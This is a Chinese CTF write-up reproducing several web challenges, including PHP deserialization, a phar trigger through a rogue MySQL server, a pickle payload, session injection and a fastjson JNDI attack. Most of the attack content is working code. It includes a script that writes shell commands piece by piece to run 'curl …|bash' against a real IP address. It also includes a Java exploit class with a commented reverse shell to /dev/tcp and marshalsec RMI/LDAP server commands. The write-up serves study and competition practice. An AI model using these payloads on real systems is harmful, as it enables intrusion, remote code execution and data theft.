高校战疫 web 复现

各校大佬锤爆我Orz

easy_trick_gzmtu

查看源码
<!--?time=Y或者?time=2020-->
提示了date('Y')=2020,而在date()中,可以通过\转义字符防止被解释
于是在每个字符前加一个\,简单回显注即可

然后通过file://localhost/进行SSRF读取本地文件
flag无法直接读,通过
file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
获得一段源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{
if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);
}
}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}
}
unserialize((base64_decode($_GET['code'])));

?>

在正则中界定符是/n, 会把输入当成多行。而这个$会匹配换行符, preg_match()+strpos()可以直接用%0a绕过
calc()里面则是可以用!!'@'来拼凑,直接取反也可

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class trick{
public $gf;
public function __construct(){
$this->gf = ~'70766571';
$this->gf='~\''.$this->gf.'\'';
}
}

$trick = new trick();
echo urlencode(base64_encode(serialize($trick)));

// Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D

payload:
?pass=aa.passwd%0A20200202&code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoxMToififIz8jJycrIziciO30%3D

hardphp

webct

这题没拿下源码,看wp来写的

先是test_sql.php

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();

用于连接远程数据库
接着看到Db类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Db
{
public $ip;
public $user;
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕,数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}

可以看到用了select 1;来测试远程数据库是否开启,这里自然就想到用rogue mysql server来读取服务器文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."
";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."
";
?>

再看到上传文件处,跟着进入到几个相关联的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
class File
{
public $uploadfile;
function __construct($filename)
{
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}

class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误:: " .$this->file->uploadfile["error"] . "";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";
move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name']).".".$extension);
echo "上传成功"."";
}
}
else{
echo "不被允许的文件类型"."";
}
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

这里看到Listfile类中有__call(),可以通过控制file属性来执行任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Listfile
{
public $file;
function __construct($file)
{
$this->file=$file;
}
function listdir(){
system("ls ".$this->file)."";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}

Fileupload类中的__destruct()file属性设为Listfile类后即可触发

1
2
3
4
function __destruct()
{
$this->file->xs();
}

既然能上传文件,又有反序列化,那就可以用到phar了
不过这里需要有能够触发phar的位置,这里还是要看xzs师傅的骚操作

Phar与Stream Wrapper造成PHP RCE的深入挖掘

通过MYSQL的LOAD DATA LOCAL INFILE触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Fileupload
{
public $file;
}
class Listfile
{
public $file = '/;'; # 要执行的命令
}

$phar = new Phar("file.phar");
$phar->startBuffering();
$phar->setStub("");
$fileupload = new Fileupload();
$fileupload->file = new Listfile();
$phar->setMetadata($fileupload);
$phar->addFromString("1.txt", "test");
$phar->stopBuffering();

# /;
# /;/readflag;

生成文件后上传

Rogue-MySql-Server
修改读取的文件为phar://./uploads/hash/test.jpg
然后访问伪造数据库即可

webtmp

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

这题主要参考这篇文章
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势

先一这题为例子分析一下pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import pickletools

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category

if __name__ == '__main__':
animal = Animal("kotori", "umi")
s = pickle.dumps(animal)
print(s)
s = pickletools.optimize(s)
pickletools.dis(s)

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ Animal'
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: X BINUNICODE 'name'
32: X BINUNICODE 'kotori'
43: X BINUNICODE 'category'
56: X BINUNICODE 'umi'
64: u SETITEMS (MARK at 22)
65: b BUILD
66: . STOP
highest protocol among opcodes = 2

\x80 读到这个操作符后,机器继续往下读取一个字符也就是\x03
\x03 是使用的序列化协议版本,pickle一共有0、2、3、4号版本协议,默认为3号,\x03就是使用3号协议。同时协议是向前兼容的,0号协议无论几号协议都是能够解析的
cGLOBAL操作符,用于引入模块。机器读到后会继续读取两个连续的字符串modulename,以\n分隔,然后放入栈中。这里引入的是__main__.Animal
q\x00 没查到是什么,看起来是来分隔命令的
) 往栈里压入一个一个空元组
\x81 将栈顶的空元组弹出作为args,然后再将栈顶的class弹出记为cls,然后进行实例化再压入栈。也就是将__main__.Animal实例化

此时实例化的Animal里面是空的
继续分析

} 往栈压入一个空字典
(MARK操作符,将当前栈作为一个list压入前序栈,然后清空当前栈(这里的当前栈和前序栈文章里有说)
X 读入一个二进制字符串,以q\x0x结尾。执行了四个X后,当前栈由底到顶就是name kotori category umi
u 将当前栈的数据pop到空数组arr中,执行后arr=['name','kotori','category','umi']。然后回到MARK前的状态,也就是当前栈中存有Animal和一个空字典。最后两个为一组键值对读取arr存入空字典中,此时空字典dict={'name':'kotori','category':'umi'}
b 将栈顶元素存入state,然后弹掉,也就是将dict存入state。然后再将栈顶元素存入inst,弹掉,也就是将Animal存入inst。然后用state更新对象inst,也就是给实例化的空对象填入内容
. 弹出反序列化后的对象,结束反序列化

这里在用state更新对象inst处有安全问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

看到pickle源码的load_build()
可以看到当inst(实例化的类)中有__setstate__属性时,这会执行setstate(),并以state的值的参数。也就是说,如果能控制__setstate__属性的属性值为系统函数,并且state为可控的,就能够执行任意命令

文章中给出这么一个操作,设置state={'__setstate__':'os.system'},然后BUILD后实例化中的类就有了__setstate__属性。然后将ls /压入栈,再进行一次BUILD。此时state='ls /',而inst中也有__setstate__属性,值为os.system。这样就会执行setstate(state),也就是os.system(’ls /’),读取了根目录

不过这个和下面解这题的内容没太大关系,只是我一开始没理解这里记录一下而已。不过这个方法解这题应该也是可行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

这题看/部分,需要反序列化后的结果和用密钥对实例化的结果相同才给flag

文章中说到的__reduce_执行任意函数需要指令码R,而这题中过滤掉了

1
2
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

同时由于find_class()被重写,只能够由__main__引入,直接指向secret中的值是不可能了

1
2
3
4
5
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这里利用文章中的另一种方式,篡改module
虽然只能由__main__引入,但import进来的secret也是属于__main__的。于是可以通过c指令给secret中的属性赋值

这里由于原题给出的源码不太好复现,就改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding:utf8 -*- 
import pickle
import base64
import io
import sys

import secret

print(secret.name)
print(secret.category)

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

if __name__ == '__main__':
pickle_data = ""
if b'R' in base64.b64decode(pickle_data):
print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
exit()
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
print(type(result))
print('Are you sure that is an animal???')
exit()
correct = (result == Animal(secret.name, secret.category))
print(correct)

先序列化一个正常的Animal

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import pickletools
import secret

class Animal:
def __init__(self):
self.name = 'kotori'
self.category = 'umi'

if __name__ == '__main__':
animal = Animal()
print(pickle.dumps(animal))

\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.

secretAnimal差不多,改个名,把)\x81去掉即可

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub.

接着BUILD指令后接上POP指令,将sercet弹出,防止反序列化结束时有多个实例导致出错

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0.

然后接上去掉\x80\x03Animal

\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub.

这里发现好像q\x0x并不要求每次增1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import pickletools
import secret

class Animal:
def __init__(self):
self.name = 'kotori'
self.category = 'umi'

if __name__ == '__main__':
s = b"\x80\x03c__main__\nsecret\nq\x00}q\x01(X\x04\x00\x00\x00nameq\x02X\x06\x00\x00\x00kotoriq\x03X\x08\x00\x00\x00categoryq\x04X\x03\x00\x00\x00umiq\x05ub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00kotoriq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00umiq\x06ub."
s = pickletools.optimize(s)
pickletools.dis(s)
res = pickle.loads(s)
print(res.name)

测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    0: \x80 PROTO      3
2: c GLOBAL '__main__ secret'
19: } EMPTY_DICT
20: ( MARK
21: X BINUNICODE 'name'
30: X BINUNICODE 'kotori'
41: X BINUNICODE 'category'
54: X BINUNICODE 'umi'
62: u SETITEMS (MARK at 20)
63: b BUILD
64: 0 POP
65: c GLOBAL '__main__ Animal'
82: ) EMPTY_TUPLE
83: \x81 NEWOBJ
84: } EMPTY_DICT
85: ( MARK
86: X BINUNICODE 'name'
95: X BINUNICODE 'kotori'
106: X BINUNICODE 'category'
119: X BINUNICODE 'umi'
127: u SETITEMS (MARK at 85)
128: b BUILD
129: . STOP
highest protocol among opcodes = 2
kotori

没问题
于是base64加密放入

1
2
3
4
5
6
7
8
9
10
11
12
13
if __name__ == '__main__':
pickle_data = "gANjX19tYWluX18Kc2VjcmV0CnEAfXEBKFgEAAAAbmFtZXECWAYAAABrb3RvcmlxA1gIAAAAY2F0ZWdvcnlxBFgDAAAAdW1pcQV1YjBjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gGAAAAa290b3JpcQRYCAAAAGNhdGVnb3J5cQVYAwAAAHVtaXEGdWIu"
if b'R' in base64.b64decode(pickle_data):
print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
exit()
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
print(type(result))
print('Are you sure that is an animal???')
exit()
correct = (result == Animal(secret.name, secret.category))
print(correct)

结果成功覆盖

hackme

www.zip获得源码

init.php中设置了session的序列化类型

1
2
3
4
5
6
7
8
<?php
//初始化整个页面
error_reporting(0);
//lib.php包括一些常见的函数
include 'lib.php';
session_save_path('session');
ini_set('session.serialize_handler','php_serialize');
session_start();

猜测是session反序列化漏洞

而在profile.php中找到了不同的序列方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
public $admin;
public $sign;

public function __construct()
{
$this->admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];

}

public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}

$a = new info();
?>

同时可以看到,当admin为1是,跳转/core/index.php

/core/index.php

1
2
3
4
5
6
7
8
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}

会对session进行检查

1
2
3
4
5
6
7
8
<?php
//初始化整个页面
#error_reporting(0);
//lib.php包括一些常见的函数
include '../lib.php';
session_save_path('../session');
ini_set('session.serialize_handler', 'php');
session_start();

同时也是使用php方式的序列化

1
2
3
4
5
6
7
8
9
10
11
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}

check_session()检查session中需要有一个值为数组,且数组中为admin的键的值为1

然后再去到upload_sign.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
require_once('init.php');

class upload_sign
{
public $sign;
public $admin = 0;

public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}

public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}

public function checksign($sign)
{
return true;
}
}

$a = new upload_sign();
$a->upload();

这里将POST得到的sign放入session中,可以利用这里注入session

于是构造一个符合条件的sign值
|a:1:{s:5:"admin";i:1;}sign|s:4:"xxxx";}
这里将第一个键值设为数组,且里面只有一个admin的键值对,这样就可以通过check_session()

设置完访问一次/profile.php再去访问/core/index.php,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

Hitcon的题,不过需要想办法绕过前面的

一开始还想通过访问profile.php,设置sign值来执行命令,但发现并不能携带cookie。gopher协议也是因为file_get_contents()无法urldecode无法携带cookie。卡了很久后大佬提供了一个绕过方式
compress.zlib://data:@127.0.0.1/plain;base64,
我的SSRF太菜了Orz,这里记一下
协议被过滤可以尝试使用compress.bzip2://compress.zlib://搭载在其它协议的前面进行绕过

于是上脚本getshell得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
import base64

target = 'http://121.36.222.22:88/'

cookies = {'PHPSESSID': '34249cec09642c9143355bcce08270bc'}
page = "core/index.php"

payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',

# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',

# generate "curl xxx.xx.xxx.x:xxxx|bash"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>xx\\',
'>xx\\',
'>x:\\',
'>x.\\',
'>xx\\',
'>x.\\',
'>x\\',
'>x.\\',
'>xx\\',
'>\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh x',
'sh g',
]

for i in payload:
i = i.encode()
cmd = base64.b64encode(i)
cmd = cmd.decode()
data = {
"url": "compress.zlib://data:@127.0.0.1/plain;base64,{}".format(cmd)
}
print(data)
s = r.post(target + page, cookies=cookies, data=data)
print(s.text)

print(s.text)

baby_java

Java题莫得环境只能列点了

首先是一个XXE,能打拿到使用的依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
Method%uFF1A post 
Path %uFF1A /you_never_know_the_path

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.4.RELEASE</version>
<relativePath/><!-- lookup parent from repository -->
</parent>
<groupId>com.tr1ple</groupId>
<artifactId>sus</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>baby_java</name>
<description>Spring Boot</description>

<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>saxpath</groupId>
<artifactId>saxpath</artifactId>
<version>1.0-FCS</version>
</dependency>
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.6</version>
</dependency>
<dependency>
<groupId>commons-lang</groupId>
<artifactId>commons-lang</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.flex.blazeds</groupId>
<artifactId>flex-messaging-core</artifactId>
<version>4.7.3</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
<exclusions>
<exclusion>
<groupId>org.junit.vintage</groupId>
<artifactId>junit-vintage-engine</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

这里利用fastjson(<=1.2.61)的JNDI注入漏洞

fastjson 1.2.61远程代码执行漏洞分析&复现

{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}

这样进行利用即可,这里由于过滤了type,用\x74ype代替。prefix的过滤则是利用fastjson中parseField函数会去掉字符串中的-和开头的_,于是添加一个-或者_即可绕过

由于有commons collections3.1,直接远程开个JRMP弹shell即可

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

为了本地复现这个漏洞前前后后整spring框架这些整了快一个星期,最后还是因为高版本 Java中会被trustURLCodebase拦截,最终复现失败Orz

不过java小白这里还是记一下JRMP的弹shell方式
将编译好的恶意class放到tomcat的/webapps/ROOT/WEB-INF/classes/目录下,classes目录要自己创建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Exploit {
public Exploit(){
try {
Runtime.getRuntime().exec("calc");
// java.lang.Runtime.getRuntime().exec(
// new String[]{"bash", "-c", "bash -i >& /dev/tcp/192.168.85.128/4545 0>&1"});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

然后web.xml中配置class的访问路径(这里的.class可能是不需要的)

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>Exploit</servlet-name>
<servlet-class>Exploit</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Exploit</servlet-name>
<url-pattern>/Exploit.class</url-pattern>
</servlet-mapping>

然后下载marshalsec
使用maven安装mvn clean package -DskipTests
装完后就可以启用rmi或者ladp服务,然后让目标机访问即可

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1389

fmkq

进入是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head == ''){
die('Where is your head?');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);
}

过滤了各种协议,head的值需要连接curl_init后不影响函数执行,同时output的输出值只会为int型需要绕过
通过fuzz发现\不会影响,好像是命名空间的原因,所有内置函数都于根目录下
sprintf()可以通过extract()begin进行变量覆盖为%s%,使后面的%d无效,output以string型输出

搞定这两个后一直在找怎么绕过,但好像并没用什么绕过的好方法。没想到这题又是要扫内网
扫端口可以发现8080端口能够使用

当为vip时可以读取任意文件,非vip则只能读取/tmp/目录下的文件。这里{file}提示的是python的格式化字符串漏洞了

1
2
3
4
5
6
class a:
a = "a"
b = "b"
a = a()
b = "hello {c.a} and {c.b}".format(c=a)
print b

一个简单的小栗子
输出为:hello a and b
这里由于通过format()对c注入了对象a,于是{}中的c.ac.b就是对象a中的属性a和b

这题中后端注入的是file,但不知道里面有什么,于是用{file.__dict__}遍历对象
{'vipcode':'0','file':,'vip':}
